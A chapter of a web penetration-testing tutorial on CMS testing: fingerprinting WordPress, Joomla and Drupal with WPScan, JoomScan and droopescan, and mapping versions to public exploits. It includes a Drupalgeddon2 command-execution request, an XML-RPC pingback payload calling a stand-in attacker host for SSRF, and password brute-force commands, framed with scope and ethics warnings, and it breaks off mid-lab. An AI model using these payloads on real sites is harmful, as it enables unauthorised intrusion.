CMS & Framework Testing: WPScan, JoomScan & Known-Vuln Exploitation
This is Chapter 3 of the APIs & CMS notebook. The first two chapters attacked APIs from first principles — REST methodology and GraphQL tradecraft — where the bugs live in your ability to manipulate requests against custom code. This chapter flips the model. Content-management systems and off-the-shelf frameworks are someone else’s code, deployed millions of times over, and the winning move is rarely a clever new payload — it is recognising exactly which prebuilt software (and which version, and which plugins) is running, then reaching for the pile of public vulnerabilities that already exists for it.
CMS platforms are where a huge fraction of real-world compromise happens. WordPress alone powers roughly 43% of all websites; add Joomla and Drupal and you are looking at a third to a half of the public web running on three codebases whose source is fully open and whose vulnerabilities are catalogued in public databases. A bug-bounty hunter who can fingerprint a target, enumerate its plugins, and map a version string to a known RCE will out-earn a hunter throwing generic payloads at hardened custom apps. This chapter takes you from “what even is a CMS” to landing a shell on a vulnerable WordPress install, and gives you the repeatable methodology to do the same on Joomla, Drupal, and the long tail of niche platforms.
We start at the absolute basics — what a CMS is, the anatomy of core-vs-plugin-vs-theme, why the plugin ecosystem is the real attack surface — then climb to the exact fingerprinting, enumeration, and exploitation tradecraft a senior tester uses, including how to responsibly stay in scope and avoid the trap of running a destructive exploit against production.
Part 1: What Is a CMS, and Why Is It Such a Rich Target?
Section titled “Part 1: What Is a CMS, and Why Is It Such a Rich Target?”A Content Management System (CMS) is prebuilt web software that lets non-developers create and manage a website — pages, blog posts, media, users, menus — through an admin dashboard instead of by writing code. Rather than hand-coding HTML, the site owner installs the CMS once, then everything is data in a database rendered by templates. WordPress, Joomla, and Drupal are the three classic open-source PHP/MySQL CMSes; Magento (e-commerce), Ghost (Node), and countless SaaS builders round out the field.
A web framework (Laravel, Django, Rails, Spring, Express) is a lower-level foundation that developers build custom apps on top of. The line blurs — a CMS is essentially a finished application built on a framework — but from an attacker’s standpoint the distinction matters: with a CMS you are usually attacking known, unmodified code running at millions of sites; with a framework you are attacking custom code plus the framework’s own occasional flaws (debug pages, mass-assignment, deserialization gadgets).
Why CMSes are a goldmine for attackers
Section titled “Why CMSes are a goldmine for attackers”The economics are lopsided in the attacker’s favour, for four concrete reasons:
- Open source, publicly auditable. The core code is on GitHub. Every security fix ships with a diff that tells an attacker precisely what changed — a technique called patch diffing that turns a patch into an exploit recipe. This is exactly how Drupalgeddon2 (CVE-2018-7600) went from advisory to mass-exploitation within hours.
- Version strings leak everywhere. Meta generators, readme files, CSS/JS asset paths with
?ver=, REST endpoints, and login pages all disclose versions. Once you know the version, you know the CVEs. - The plugin/extension ecosystem is enormous and under-reviewed. WordPress has 60,000+ plugins in its official directory alone, most written by hobbyists, many abandoned. The core is relatively hardened; the plugins are where the bugs are. A single vulnerable plugin — think the 2020 File Manager RCE (CVE-2020-25213) that hit ~700,000 sites — undoes all of core’s security.
- Default configurations and stale installs. Admins install once and forget. Public-facing
/wp-admin, exposedxmlrpc.php, readablereadme.html, debug mode left on, default credentials — the long tail of misconfiguration is vast.
Bug-bounty relevance: most programs consider “known CVE in an outdated third-party component” in scope only if you can demonstrate impact — a version banner alone is often marked informational. The value is in chaining the disclosed version to a working, in-scope proof of concept (an authenticated-to-RCE, an unauthenticated file read, an account takeover). Read each program’s policy: many explicitly exclude “outdated software without a working PoC” and some exclude WordPress core entirely while accepting plugin bugs.
flowchart LR
A[Identify target is a CMS] --> B[Fingerprint platform + version]
B --> C[Enumerate plugins / themes / extensions + versions]
C --> D[Enumerate users]
D --> E[Map versions to known CVEs]
E --> F{Working public exploit?}
F -->|Yes| G[Vet + adapt exploit in scope]
F -->|No| H[Manual testing / credential attacks / config bugs]
G --> I[Exploit: file upload / SQLi / auth bypass / RCE]
H --> I
I --> J[Document impact + report]
The universal CMS-testing methodology
Section titled “The universal CMS-testing methodology”Every CMS engagement, regardless of platform, follows the same skeleton. Memorise this loop — the tools change per platform but the phases never do:
| Phase | Goal | Example tooling |
|---|---|---|
| 1. Detect | Confirm it is a CMS and which one | Wappalyzer, whatweb, CMSeeK, favicon hash |
| 2. Fingerprint | Exact core version | WPScan, droopescan, JoomScan, meta generator, readme |
| 3. Enumerate | Plugins, themes, extensions, users, config | WPScan --enumerate, droopescan, manual paths |
| 4. Map | Version → CVE list | WPScan DB, CVE Details, exploit-db, Wordfence Intelligence |
| 5. Validate | Confirm the vuln is really present | Manual request, safe PoC, version-range check |
| 6. Exploit | Demonstrate impact | Metasploit module, public PoC, manual chain |
| 7. Report | Evidence, remediation, CVSS | Screenshots, request/response, patched-version advice |
The rest of this chapter walks each phase in depth, using WordPress as the primary worked example (because it is the most common target you will meet), then generalising to Joomla and Drupal.
Part 2: Anatomy of WordPress — Core, Themes, Plugins, and the Database
Section titled “Part 2: Anatomy of WordPress — Core, Themes, Plugins, and the Database”You cannot test what you do not understand. Before fingerprinting, internalise how a WordPress site is actually built, because every enumeration path and every vuln class maps directly onto this structure.
The directory layout
Section titled “The directory layout”A default WordPress install has three top-level areas under the web root:
/ → site root (index.php bootstraps everything)├── wp-admin/ → the admin dashboard (login-gated app)├── wp-includes/ → core libraries, JS/CSS, the REST API internals├── wp-content/ → EVERYTHING user-installed lives here│ ├── plugins/ → each plugin in its own folder│ ├── themes/ → each theme in its own folder│ ├── uploads/ → media (and, for attackers, the file-upload target)│ └── mu-plugins/ → "must-use" plugins, auto-loaded, no toggle├── wp-login.php → the login form + auth handler├── xmlrpc.php → legacy remote API (pingback, multicall)├── wp-cron.php → pseudo-cron trigger├── wp-config.php → DB creds + secret keys (NEVER web-readable)└── readme.html → ships the core version (delete-me candidate)Security relevance of each path:
wp-content/uploads/is world-writable by design and web-served — the natural landing zone for an uploaded web shell. Many upload bugs drop a PHP file here.wp-config.phpholdsDB_PASSWORDand the auth salts. A local-file-read or path-traversal bug that reaches it is instant game-over; a leaked backup (wp-config.php.bak,wp-config.php~,.wp-config.php.swp) is a classic finding.xmlrpc.phpenableswp.getUsersBlogs(credential brute-force amplification viasystem.multicall) and pingback SSRF. Its presence is a finding on its own.readme.htmlandwp-includes/asset?ver=strings leak the core version.
The database
Section titled “The database”WordPress stores everything in MySQL/MariaDB tables prefixed by default with wp_. The ones that matter to an attacker:
| Table | Contents | Attacker interest |
|---|---|---|
wp_users | usernames, hashed passwords, emails | Cracking user_pass (phpass $P$ hashes); user enum |
wp_usermeta | capabilities, session tokens, keys | Privilege data; wp_capabilities = roles |
wp_options | siteurl, active_plugins, secrets | active_plugins reveals the exact plugin list |
wp_posts | posts, pages, revisions, attachments | Draft/private data leakage; author ID → username |
Why the hashing matters: WordPress uses phpass portable hashes ($P$B...) — salted MD5 with 8,192 iterations by default. They are far weaker than bcrypt/argon2, so a dumped wp_users table is very crackable with hashcat mode 400. That is why a SQL-injection in any plugin that reaches this table is high impact.
graph TD
Core[WordPress Core<br/>relatively hardened] --> Themes[Themes<br/>PHP templates, some logic]
Core --> Plugins[Plugins<br/>60k+, mostly hobbyist]
Core --> REST[REST API /wp-json/<br/>enumeration + some bugs]
Plugins --> Upload[Arbitrary File Upload]
Plugins --> SQLi[SQL Injection]
Plugins --> Auth[Auth Bypass / Priv-Esc]
Themes --> LFI[LFI / RFI via template params]
REST --> UserEnum[User enumeration /wp-json/wp/v2/users]
style Plugins fill:#7a1f1f,color:#fff
style Core fill:#1f4e79,color:#fff
The single most important takeaway of this section: core is hard, plugins are soft. Your enumeration effort should be biased heavily toward finding which plugins and themes are installed and at which versions, because that is where the exploitable bugs almost always are.
Part 3: Detection & Fingerprinting — Is It a CMS, and Which One?
Section titled “Part 3: Detection & Fingerprinting — Is It a CMS, and Which One?”Before firing CMS-specific scanners, confirm the platform. Running WPScan against a Drupal site wastes time and generates noise. Fingerprinting has passive (no attack traffic) and active (probing) levels — on bug bounty, prefer passive first to stay quiet and in scope.
Passive indicators you can read from one page
Section titled “Passive indicators you can read from one page”Fetch the homepage and inspect the HTML and headers. Tell-tale signs:
- Meta generator tag — the loudest tell:
<meta name="generator" content="WordPress 6.4.2" /><meta name="generator" content="Joomla! - Open Source Content Management" /><meta name="generator" content="Drupal 9 (https://www.drupal.org)" />
- Asset paths — WordPress serves
/wp-content/and/wp-includes/; Joomla serves/media/,/templates/,/components/; Drupal serves/sites/default/,/core/,/modules/. - Cookies — Drupal sets
SESS<hash>; Joomla sets a 32-char hex session cookie; WordPress setswordpress_*cookies only after login. - HTTP headers —
X-Generator: Drupal 9,X-Powered-By,Link: <...wp-json...>(the WP REST API advertises itself in aLinkheader). - Version-bearing query strings —
?ver=6.4.2appended to enqueued CSS/JS. robots.txt— WordPress default disallows/wp-admin/; Drupal’s default lists/core/,/modules/,/profiles/.
whatweb — the fast recon fingerprinter (from scratch)
Section titled “whatweb — the fast recon fingerprinter (from scratch)”What it is: whatweb is a Ruby web-technology fingerprinter that ships with Kali. It hits a URL and matches the response against 1,800+ plugins (signatures) to name the CMS, server, JS libraries, analytics, and more. It is the fastest “what is this?” tool.
Install (already on Kali; otherwise):
sudo apt update && sudo apt install whatweb -ywhatweb --versionCore usage:
# Basic single-target fingerprintwhatweb https://target.example
# Aggression level 3 = more probing requests (1=passive default, 4=heavy)whatweb -a 3 https://target.example
# Verbose, show every matched plugin and the evidencewhatweb -v https://target.example
# Scan a list, save structured outputwhatweb -i targets.txt --log-json=whatweb.jsonFlag reference:
| Flag | Meaning |
|---|---|
-a, --aggression N | 1 (stealthy/passive), 3 (probe common paths), 4 (heavy, all plugins) |
-v | Verbose — prints the matched string/version and why |
-i FILE | Read targets from a file (one per line) |
--log-json=FILE | JSON output for tooling/pipelines |
-U | Set a custom User-Agent |
--max-threads N | Concurrency for list scans |
Realistic output:
$ whatweb -a 3 https://blog.target.examplehttps://blog.target.example [200 OK] Apache[2.4.52], Country[UNITED STATES][US],HTML5, HTTPServer[Apache/2.4.52 (Ubuntu)], IP[203.0.113.20],JQuery[3.6.0], MetaGenerator[WordPress 6.2.1], PHP[8.1.2], PoweredBy[WordPress],Script, Title[Target Blog], WordPress[6.2.1], X-Powered-By[PHP/8.1.2]Right away we have the platform (WordPress 6.2.1), server (Apache 2.4.52 on Ubuntu), and PHP version — enough to start mapping CVEs.
CMSeeK — multi-CMS detection and deep-scan (from scratch)
Section titled “CMSeeK — multi-CMS detection and deep-scan (from scratch)”What it is: CMSeeK is a Python tool that detects 180+ CMSes and, for WordPress/Joomla/Drupal, performs deeper enumeration (version, users, plugins). It is a good “I don’t know what this is yet” first pass.
Install:
git clone https://github.com/Tuhinshubhra/CMSeeKcd CMSeeKpip3 install -r requirements.txtpython3 cmseek.py --helpUsage:
# Detect + deep scan a single URLpython3 cmseek.py -u https://target.example
# Batch mode from a listpython3 cmseek.py -l targets.txt
# Follow redirects, custom UApython3 cmseek.py -u https://target.example --user-agent "Mozilla/5.0"Realistic (trimmed) output:
[+] Deploying WordPress Detection Modules... [+] CMS: WordPress [+] Version: 6.2.1 [+] Users Enumerated: admin, editor, jsmith [+] Plugins Detected: contact-form-7 (5.7.1), wp-file-manager (6.8) [+] Result written to Result/target.example/cms.jsonNote wp-file-manager 6.8 — if that were 6.0–6.8 it would be catastrophic (the CVE-2020-25213 unauthenticated RCE lived there); always cross-check versions against advisories rather than trusting the plugin name alone.
Favicon hashing — identifying stacks at scale
Section titled “Favicon hashing — identifying stacks at scale”A neat passive trick: many CMSes/frameworks ship a default favicon. Its MurmurHash3 is a stable fingerprint that Shodan indexes (http.favicon.hash:). Compute it and pivot:
import mmh3, requests, codecsr = requests.get("https://target.example/favicon.ico")h = mmh3.hash(codecs.encode(r.content, "base64"))print(h) # e.g. -1660713596 → search Shodan http.favicon.hash:-1660713596Red team / recon usage: favicon hashing lets you find all of an organisation’s sites running the same stack (including forgotten dev/staging boxes) without touching them directly — you query Shodan/Censys instead, which is fully passive against the target.
Part 4: WPScan From Scratch — The WordPress Security Scanner
Section titled “Part 4: WPScan From Scratch — The WordPress Security Scanner”WPScan is the canonical WordPress black-box scanner. It fingerprints the core version, enumerates plugins/themes/users, checks each against its vulnerability database, and can run credential attacks. Learning it well is 80% of practical WordPress testing.
What it is and how it works
Section titled “What it is and how it works”WPScan is a Ruby application maintained by the WPScan/Automattic team. It ships with a local copy of the WPScan Vulnerability Database — a curated feed of WordPress core, plugin, and theme CVEs. When it detects, say, contact-form-7 5.7.1, it looks up known vulns affecting that version range and prints them. The database is the product; keeping it updated is essential.
Install and API token
Section titled “Install and API token”WPScan is preinstalled on Kali. Otherwise:
# Ruby gem (cross-platform)sudo gem install wpscan
# or Dockerdocker pull wpscanteam/wpscandocker run -it --rm wpscanteam/wpscan --url https://target.example
wpscan --versionThe API token (do this first): WPScan works without a token but will not show vulnerability data — only the raw version/plugin list. Register a free account at wpscan.com to get an API token (25 requests/day free), then pass it so the scanner enriches findings with CVEs:
wpscan --url https://target.example --api-token YOUR_TOKEN_HEREStore it in ~/.wpscan/scan.yml to avoid typing it:
cli_options: api_token: YOUR_TOKEN_HERECore workflow
Section titled “Core workflow”# 1. Baseline scan: version, theme, some plugins, config bugswpscan --url https://target.example
# 2. Update the local vuln DB first (do this each session)wpscan --updateRealistic baseline output (annotated):
[+] URL: https://target.example/ [203.0.113.20][+] Started: ...
Interesting Finding(s):[+] Headers | Server: Apache/2.4.52 (Ubuntu)[+] XML-RPC seems to be enabled: https://target.example/xmlrpc.php[+] WordPress readme found: https://target.example/readme.html[+] Upload directory has listing enabled: https://target.example/wp-content/uploads/[+] The external WP-Cron seems to be enabled: https://target.example/wp-cron.php
[+] WordPress version 6.2.1 identified (Insecure, released 2023-05-16). | Found By: Rss Generator (Passive Detection) | Confirmed By: Meta Generator (Passive Detection)
[+] WordPress theme in use: twentytwentythree | Version: 1.1 (80% confidence)
[i] The main theme could not be detected as vulnerable.Each of those “Interesting Findings” is a reportable observation on its own (XML-RPC enabled, directory listing, readme exposing the version).
Enumeration — the --enumerate engine
Section titled “Enumeration — the --enumerate engine”The real power is --enumerate (-e). It takes a comma-separated list of what to hunt:
wpscan --url https://target.example \ --enumerate vp,vt,tt,cb,dbe,u1-20 \ --api-token YOUR_TOKEN \ --plugins-detection aggressive \ --random-user-agentEnumerate options reference:
| Token | Enumerates |
|---|---|
vp | Vulnerable plugins only |
ap | All plugins (much noisier, more thorough) |
p | Popular plugins |
vt | Vulnerable themes |
at | All themes |
tt | Timthumbs (the classic timthumb.php RFI/upload) |
cb | Config backups (wp-config.php.bak, .swp, ~) |
dbe | Database exports (.sql dumps left in web root) |
u | Users (e.g. u1-20 probes IDs 1–20) |
m | Media IDs |
Key flags to control behaviour:
| Flag | Purpose |
|---|---|
--plugins-detection MODE | passive (reads homepage), aggressive (brute-forces plugin paths — far more complete), mixed |
--plugins-version-detection MODE | How hard to work for exact plugin versions |
--random-user-agent / --rua | Rotate UA to dodge basic WAF signatures |
--stealthy | Alias: passive detection + random UA, minimal noise |
--throttle N | Milliseconds between requests (be polite / evade rate limits) |
--max-threads N | Concurrency (default 5) |
--force | Skip the “is this WordPress?” check and scan anyway |
--disable-tls-checks | Ignore TLS cert errors (self-signed lab targets) |
-o FILE -f json | Output to a file in JSON format for pipelines |
Why aggressive plugin detection matters: passive detection only finds plugins that leave traces on the homepage. Aggressive mode requests known plugin paths (e.g. /wp-content/plugins/wp-file-manager/readme.txt) directly, catching installed-but-inactive or non-obvious plugins — which are frequently the vulnerable ones. The trade-off is thousands of requests and a louder footprint.
Realistic plugin-enumeration output with a vuln hit:
[+] wp-file-manager | Location: https://target.example/wp-content/plugins/wp-file-manager/ | Last Updated: 2023-10-02 | Version: 6.8 (100% confidence) | | [!] 1 vulnerability identified: | | [!] Title: File Manager 6.0-6.8 - Unauthenticated Arbitrary File Upload leading to RCE | Fixed in: 6.9 | References: | - https://wpscan.com/vulnerability/8dd671bd-... | - https://nvd.nist.gov/vuln/detail/CVE-2020-25213 | - https://www.exploit-db.com/exploits/49178That single block is the whole game: plugin, version, CVE, fixed-in version, and an exploit-db reference to a working PoC. This is what the API token buys you.
User enumeration with WPScan
Section titled “User enumeration with WPScan”wpscan --url https://target.example --enumerate u1-30WPScan discovers usernames via the author archive redirect (/?author=1 → /author/admin/), the REST API (/wp-json/wp/v2/users), RSS feeds, and login error differences. Output:
[i] User(s) Identified:[+] admin (Found By: Author Posts - Display Name, Rss Generator)[+] editor (Found By: Wp Json Api (/wp-json/wp/v2/users/))[+] jsmith (Found By: Author Id Brute Forcing (/?author=3))Why usernames matter: WordPress login tells you which half of the credential is wrong (“invalid username” vs “the password you entered for the username X is incorrect”), so a valid username list turns login into a pure password-guessing problem.
Password attacks with WPScan (lawful, in-scope only)
Section titled “Password attacks with WPScan (lawful, in-scope only)”WPScan can brute-force via the standard login form or the faster xmlrpc.php multicall:
wpscan --url https://target.example \ --usernames admin,editor,jsmith \ --passwords /usr/share/wordlists/rockyou.txt \ --password-attack xmlrpc \ --max-threads 10 \ --throttle 200Attack-mode flag --password-attack:
| Value | Mechanism | Notes |
|---|---|---|
wp-login | POSTs to wp-login.php | Slower; visible in web logs as failed logins |
xmlrpc | system.multicall bundles many guesses per request | Much faster; blocked if xmlrpc.php disabled |
xmlrpc-multicall | Explicit multicall | Fastest where allowed |
Ethics & scope: online password attacks are intrusive, generate real failed-login events, and can lock out accounts. Only run them against systems you are explicitly authorised to test, and check the program policy — many bug-bounty programs prohibit brute-forcing and account lockout testing. Prefer a tiny, targeted list over
rockyou.txton a live target.
sequenceDiagram
participant A as Attacker (WPScan)
participant X as xmlrpc.php
participant DB as WordPress Auth
A->>X: POST system.multicall [wp.getUsersBlogs x500 guesses]
X->>DB: validate 500 credential pairs in one request
DB-->>X: results array (fault vs success per guess)
X-->>A: single response revealing which pair worked
Note over A,X: 500 guesses / 1 request → 10-50x faster than wp-login
Part 5: The REST API and XML-RPC as Enumeration Surfaces
Section titled “Part 5: The REST API and XML-RPC as Enumeration Surfaces”Modern WordPress exposes a REST API under /wp-json/, and it leaks by default. This is pure, passive, low-risk enumeration — perfect for bug bounty where you want signal without intrusive traffic.
The users endpoint
Section titled “The users endpoint”curl -s https://target.example/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'{ "id": 1, "name": "Site Admin", "slug": "admin" }{ "id": 2, "name": "Jane Smith", "slug": "jsmith" }The slug is almost always the login username. Even when /?author=N redirects are blocked, this JSON endpoint frequently still answers. Hardened sites restrict it to authenticated requests (returns [] or 401) — its openness is itself a finding.
Enumerating everything else via REST
Section titled “Enumerating everything else via REST”# Discover all registered routes (reveals plugins that register REST routes)curl -s https://target.example/wp-json/ | jq '.routes | keys[]'
# Posts, pages, media, categories — content and author IDscurl -s "https://target.example/wp-json/wp/v2/posts?per_page=100" | jq '.[].author'Registered custom routes (/wp-json/some-plugin/v1/...) reveal which plugins are installed and active — and plugin REST routes have historically been a rich bug source (missing permission_callback = unauthenticated access to privileged actions, as in several real CVEs).
xmlrpc.php — legacy but dangerous
Section titled “xmlrpc.php — legacy but dangerous”xmlrpc.php is the pre-REST remote API. Check whether it is enabled and which methods it exposes:
curl -s https://target.example/xmlrpc.php -d \'<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'Two abuse primitives stand out:
system.multicallcredential-brute amplification (shown above) — hundreds of password guesses per HTTP request.pingback.pingSSRF/DDoS — the server fetches an attacker-supplied URL to “verify” a pingback, enabling blind SSRF and reflective DDoS:If your collaborator/interactsh endpoint receives the callback, you have blind SSRF via the WordPress server.<methodCall><methodName>pingback.ping</methodName><params><param><value>http://attacker-collab.example/</value></param><param><value>https://target.example/?p=1</value></param></params></methodCall>
Blue-team note: xmlrpc.php has almost no modern legitimate use for most sites (the mobile app and Jetpack are the main consumers). Disabling or restricting it removes both the brute-amplification and pingback-SSRF surface in one move.
Part 6: Joomla Testing — JoomScan and Manual Enumeration
Section titled “Part 6: Joomla Testing — JoomScan and Manual Enumeration”Joomla is the second-most-common target. The methodology mirrors WordPress but the paths and tools differ.
Joomla anatomy
Section titled “Joomla anatomy”/administrator/ → admin login + backend/components/ → major functional units (com_content, com_users, ...)/modules/ → smaller UI blocks/plugins/ → event-driven extensions/templates/ → themes/language/en-GB/en-GB.xml → often leaks the exact Joomla version/configuration.php → DB creds (never web-readable; backups are gold)Version fingerprinting (manual)
Section titled “Version fingerprinting (manual)”Joomla version leaks from several stable locations:
# The language XML almost always carries the versioncurl -s https://target.example/language/en-GB/en-GB.xml | grep -i version
# The admin manifest / cache manifestcurl -s https://target.example/administrator/manifests/files/joomla.xml | grep -i version
# The meta generator on the homepagecurl -s https://target.example/ | grep -i generatorJoomScan from scratch
Section titled “JoomScan from scratch”What it is: joomscan (OWASP JoomScan) is a Perl scanner dedicated to Joomla — it fingerprints the version, enumerates components, finds known vulnerabilities and misconfigurations (directory listing, backup/config files, firewall detection).
Install:
sudo apt install joomscan -y # Kali package# or from source:git clone https://github.com/OWASP/joomscancd joomscan && perl joomscan.pl --helpUsage and flags:
# Full scanjoomscan --url https://target.example
# Enumerate installed components specificallyjoomscan --url https://target.example --enumerate-components
# Through a proxy (route via Burp for logging), custom UA, cookiejoomscan -u https://target.example --proxy http://127.0.0.1:8080 \ --user-agent "Mozilla/5.0" --cookie "name=value"| Flag | Meaning |
|---|---|
-u, --url | Target |
--enumerate-components / -ec | Brute-force known component paths |
--proxy | Send traffic through a proxy (Burp) |
--cookie | Attach a session cookie |
--user-agent | Custom UA |
Realistic output:
[+] Detecting Joomla Version[++] Joomla 3.9.4[+] Core Joomla Vulnerability[++] CVE-2019-10945 - Directory Traversal & File deletion in com_media[+] Checking Directory Listing[++] http://target.example/administrator/components/ Directory listing found[+] Checking apache info/status files[+] Enumerating Components...[++] Component: com_fields (core)[++] Component: com_jce 1.5.7.14 -> known LFI/upload vulns in older versions[+] Report saved to reports/target.example/com_jce (JCE editor) older versions are a classic Joomla RCE via file upload — exactly the kind of “known component + version → public exploit” chain this chapter is about.
droopescan — Joomla + Drupal + more
Section titled “droopescan — Joomla + Drupal + more”What it is: droopescan is a Python plugin-based scanner that supports Drupal (best-in-class), Joomla, WordPress, SilverStripe, and Moodle. It is the go-to for Drupal version fingerprinting.
pip3 install droopescandroopescan scan joomla --url https://target.exampledroopescan scan drupal --url https://target.example# Let it auto-detect the CMS:droopescan scan -u https://target.exampleSample Drupal run:
[+] Plugins found: ...[+] Themes found: ...[+] Possible version(s): 7.57 7.58[+] Possible interesting urls found: Default admin - https://target.example/user/login CHANGELOG.txt - https://target.example/CHANGELOG.txtCHANGELOG.txt on Drupal is the readme.html equivalent — it pins the exact version, which you then map to Drupalgeddon-class CVEs.
Part 7: Drupal Testing and the Drupalgeddon Lesson
Section titled “Part 7: Drupal Testing and the Drupalgeddon Lesson”Drupal powers fewer but higher-value sites (governments, universities, enterprises). Two historic bugs make Drupal a case study in why known-vuln testing works.
Fingerprinting Drupal
Section titled “Fingerprinting Drupal”# Version from CHANGELOG (older Drupal 7) or via droopescancurl -s https://target.example/CHANGELOG.txt | head -5
# Drupal 8+ hides CHANGELOG; use the generator header/meta or droopescancurl -sI https://target.example | grep -i x-generatordroopescan scan drupal -u https://target.exampleDrupalgeddon2 (CVE-2018-7600) — anatomy of a mass-exploited RCE
Section titled “Drupalgeddon2 (CVE-2018-7600) — anatomy of a mass-exploited RCE”Drupalgeddon2 was an unauthenticated remote code execution flaw in Drupal 7 and 8 caused by insufficient input sanitisation of the Form API — attacker-controlled array keys (like #post_render, #lazy_builder) in a request could invoke arbitrary PHP callbacks with arguments. A single crafted POST to a form endpoint (e.g. the user-registration form) ran code as the web server.
Conceptually, the malicious request injected a render-array property:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1 HTTP/1.1Content-Type: application/x-www-form-urlencoded
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=idThe #post_render callback (exec) is invoked with #markup (id) as its argument → command execution. Within hours of disclosure, botnets were mass-scanning for it. The lesson for a tester: the entire attack is “detect Drupal 7/8 below the patched version, then send one known request.” No creativity required — which is precisely why patch cadence is the real defence.
Drupalgeddon3 and SA-CORE advisories
Section titled “Drupalgeddon3 and SA-CORE advisories”Drupalgeddon3 (CVE-2018-7602) was a related Form-API RCE requiring a session. Drupal’s SA-CORE advisories are the canonical source for mapping a version to its known-critical bugs — bookmark drupal.org/security. droopescan gives you the version; the SA-CORE list gives you the exploits.
flowchart TD
A[droopescan: Drupal 7.57 detected] --> B{Version < patched?}
B -->|7.57 < 7.58| C[Vulnerable to Drupalgeddon2 CVE-2018-7600]
C --> D[searchsploit drupalgeddon2]
D --> E[Metasploit: exploit/unix/webapp/drupal_drupalgeddon2]
E --> F[Set RHOSTS/TARGETURI then check then run in scope]
F --> G[Unauthenticated RCE as www-data]
Part 8: From Version to Exploit — Mapping, Finding, and Vetting Public Vulns
Section titled “Part 8: From Version to Exploit — Mapping, Finding, and Vetting Public Vulns”Detecting a version is only half the job. Turning “plugin X v1.2” into a working, safe, in-scope proof of concept is the skill that separates a scanner-runner from a tester.
The vulnerability databases you must know
Section titled “The vulnerability databases you must know”| Source | What it’s best for |
|---|---|
| WPScan DB (wpscan.com) | WordPress core/plugin/theme CVEs with fixed-in versions |
| Wordfence Intelligence (wordfence.com/threat-intel) | Free, searchable WP plugin/theme vuln feed with CVSS + PoC status |
| Exploit-DB (exploit-db.com) | Actual working exploit code, searchable offline via searchsploit |
| NVD / CVE Details | Canonical CVE metadata, CVSS, affected ranges |
| Packet Storm / GitHub PoCs | Community exploit code (vet carefully) |
| Vendor advisories | Drupal SA-CORE, Joomla Security Announcements, plugin changelogs |
searchsploit from scratch — the offline Exploit-DB
Section titled “searchsploit from scratch — the offline Exploit-DB”What it is: searchsploit is a command-line search over a local mirror of Exploit-DB. It works offline, returns exploit file paths you can read/copy, and is the fastest way to check “is there public exploit code for this?”.
Install / update:
sudo apt install exploitdb -y # ships with Kalisearchsploit -u # update the local exploit DBUsage and flags:
# Search by product + versionsearchsploit wordpress file manager
# Restrict to titles, case-insensitivesearchsploit -t joomla com_jce
# Show the full path + mirror (copy) the exploit locally to work on itsearchsploit -p 49178searchsploit -m 49178 # copies exploit 49178 into CWD
# Search by CVEsearchsploit --cve 2020-25213
# JSON output for toolingsearchsploit --json wordpress duplicator| Flag | Meaning |
|---|---|
-t | Search titles only (fewer false positives) |
-e | Exact match |
-p | Show the full path + copy the URL to clipboard |
-m ID | Mirror (copy) the exploit file to the current directory |
-x ID | Examine (open) the exploit in a pager |
--cve | Search by CVE identifier |
-w | Show Exploit-DB web links |
-u | Update the local database |
Realistic output:
$ searchsploit wp-file-manager--------------------------------------------------------- --------------------------------- Exploit Title | Path--------------------------------------------------------- ---------------------------------WordPress Plugin File Manager 6.0-6.8 - RCE | php/webapps/49178.pyWordPress Plugin File Manager 6.9 - RCE | php/webapps/49185.py--------------------------------------------------------- ---------------------------------Shellcodes: No ResultsVetting an exploit before you run it
Section titled “Vetting an exploit before you run it”Public PoCs are not to be trusted blindly. Before executing anything against a target — especially a live bug-bounty asset — read the code:
- Read the whole script.
searchsploit -x php/webapps/49178.py. Understand what request it sends and what it changes on the target. - Check for destructive actions. Does it delete files, drop tables, add a persistent backdoor user, or leave a shell world-accessible? A “poc” that plants a public web shell on someone else’s production box is reckless and possibly illegal.
- Check the affected version range against what you fingerprinted — running a 6.0–6.8 exploit against 6.9 just makes noise.
- Look for obfuscation / phone-home. Some “exploits” on the internet are backdoored to compromise the attacker. Beware base64 blobs, unexplained network calls to third-party hosts, and
evalof remote content. - Prefer a non-destructive check first. Most good exploits offer a “check” mode or can be trivially modified to fetch a harmless proof (e.g. read
wp-config.phpor runid) instead of dropping a shell.
Scope discipline: on bug bounty, the safest demonstration of an RCE is often a single benign command (
id,hostname,cat /etc/hostname) or reading a non-sensitive marker file — enough to prove impact without exfiltrating data, pivoting, or persisting. Document that restraint in your report; programs reward it.
Version-range logic — the check you must always do
Section titled “Version-range logic — the check you must always do”The number-one false positive in CMS testing is flagging a vuln whose fix was applied. WordPress plugins can be patched without changing the folder name, and backported fixes exist. Always confirm:
- The detected version falls inside the vulnerable range and below the fixed-in version.
- Where possible, confirm the behaviour, not just the banner (send the actual vulnerable request in a safe form). A
readme.txtmight say 6.8 while the site auto-updated the vulnerable file. Behavioural confirmation beats banner-matching every time.
Part 9: Hands-On Lab — WordPress File Manager Plugin to Web Shell
Section titled “Part 9: Hands-On Lab — WordPress File Manager Plugin to Web Shell”This is a fully worked, reproducible lab against an intentionally vulnerable WordPress install running the File Manager (wp-file-manager) 6.8 plugin, vulnerable to CVE-2020-25213 — unauthenticated arbitrary file upload leading to RCE. Do this only in your own lab (a local VM), never against a system you do not own or are not authorised to test.
Lab setup
Section titled “Lab setup”Spin up a deliberately vulnerable target. Options: a Docker WordPress with the vulnerable plugin, the TryHackMe “Blog” room, or a local VM. Here we assume a local target at http://10.10.10.50.
# Quick throwaway WordPress via Docker (then install wp-file-manager 6.8 in wp-admin)docker run --name wp-lab -p 80:80 -e WORDPRESS_DB_HOST=db \ -e WORDPRESS_DB_PASSWORD=labpass -d wordpress:6.2Step 1 — Fingerprint and enumerate
Section titled “Step 1 — Fingerprint and enumerate”whatweb -a 3 http://10.10.10.50wpscan --url http://10.10.10.50 --enumerate vp,ap,u --plugins-detection aggressive \ --api-token YOUR_TOKEN -o wpscan-lab.txtRelevant output:
[+] WordPress version 6.2 identified[+] wp-file-manager | Version: 6.8 (100% confidence) | [!] Title: File Manager 6.0-6.8 - Unauthenticated Arbitrary File Upload (RCE) | Fixed in: 6.9 | References: CVE-2020-25213, EDB-49178[i] User(s) Identified: adminConfirmed: WordPress 6.2, wp-file-manager 6.8 (in the vulnerable 6.0–6.8 range, fixed in 6.9). Green light.
Step 2 — Understand the bug
Section titled “Step 2 — Understand the bug”File Manager bundles the elFinder library. The vulnerable versions left elFinder’s connector (elFinder.min.js → php/connector.minimal.php) reachable without authentication at:
